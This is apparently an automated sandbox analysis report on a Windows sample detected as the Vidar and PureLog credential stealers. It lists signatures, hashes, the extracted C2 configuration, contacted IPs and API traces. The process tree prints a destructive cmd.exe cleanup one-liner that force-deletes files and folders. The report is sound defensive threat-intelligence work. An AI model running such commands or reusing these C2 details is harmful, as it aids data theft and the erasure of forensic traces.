Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Analysis ID:	1447066
MD5:	3d5d6485af7cd75f9cb1284a35e70f97
SHA1:	511388b6ef0247a952580e1aaa70e6e7646e35fb
SHA256:	d9598915932030d8c05825ef9d1d331cbea8cb887aa6570f96d3cec23c311411
Tags:	exeStealc
Infos:

Detection

PureLog Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Country aware sample found (crashes after keyboard check)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Opens network shares

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Malware-gen.198.6512.exe (PID: 6580 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe" MD5: 3D5D6485AF7CD75F9CB1284A35E70F97)

MSBuild.exe (PID: 6712 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 6580 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe" & rd /s /q "C:\ProgramData\AFCBAEBAEBFH" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WerFault.exe (PID: 7040 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6580 -s 1096 MD5: C31336C1EFC2CCB44B4326EA793040F2)

conhost.exe (PID: 2080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3804 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "a2e3340f7f64008401fa5787a882af45", "Version": "9.8"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x221e8:$s2: HAL9TH
00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 6712	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6712	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6712	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6712	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x221e8:$s2: HAL9TH
0.0.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.5a0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 23.199.218.33, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6712, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "a2e3340f7f64008401fa5787a882af45", "Version": "9.8"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	ReversingLabs: Detection: 34%
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Virustotal: Detection: 38%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05DD20 CryptReleaseContext,	0_2_6D05DD20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05DE00 CryptGenRandom,__CxxThrowException@8,	0_2_6D05DE00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05DEE0 CryptReleaseContext,	0_2_6D05DEE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05D9D0 CryptAcquireContextA,GetLastError,	0_2_6D05D9D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05DBB0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,	0_2_6D05DBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D0835E0 CryptReleaseContext,	0_2_6D0835E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05D7D4 CryptReleaseContext,	0_2_6D05D7D4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D05D7F0 CryptReleaseContext,	0_2_6D05D7F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004062A5 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004062A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00406242 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00406242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004082DE memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,PK11_FreeSlot,lstrcat,	1_2_004082DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040245C memset,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	1_2_0040245C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00410DAC CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00410DAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC8A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6CC8A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC844C0 PK11_PubEncrypt,	1_2_6CC844C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC84440 PK11_PrivDecrypt,	1_2_6CC84440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC54420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CC54420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCD25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6CCD25B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC6E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CC6E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC8A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6CC8A650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC68670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CC68670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCAA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6CCAA730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCB0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6CCB0180

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2060089144.000000006D09D000.00000002.00000001.01000000.0000000C.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2058676901.000000006CD5F000.00000002.00000001.01000000.0000000B.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.00000000045CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000004440000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1767557867.0000000005610000.00000004.08000000.00040000.00000000.sdmp, Protect544cd51a.dll.0.dr
Source:	Binary string: System.ni.pdbRSDS source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2060089144.000000006D09D000.00000002.00000001.01000000.0000000C.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: System.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.ni.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.pdbD source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdbjz source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: mscorlib.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: /_/src/ICSharpCode.SharpZipLib/obj/Release/netstandard2.0/ICSharpCode.SharpZipLib.pdbSHA256 source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source:	Binary string: mscorlib.ni.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.pdb< source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2058676901.000000006CD5F000.00000002.00000001.01000000.0000000B.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2054205361.00000000192D8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2048308496.000000001336C000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.00000000044FD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000004372000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1767557867.00000000056CA000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER74E4.tmp.dmp.4.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER74E4.tmp.dmp.4.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004162AF _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004162AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004153F6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	1_2_004153F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B463 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004094E5 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_004094E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C679 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040C679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415AC2 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00415AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409F72 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_00409F72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409900 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A981 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040A981
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415E66 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	1_2_00415E66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415843 _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

1_2_00415843

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_054333D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then jmp 0543BA0Ah	0_2_0543B575
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_054335F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_054335F8
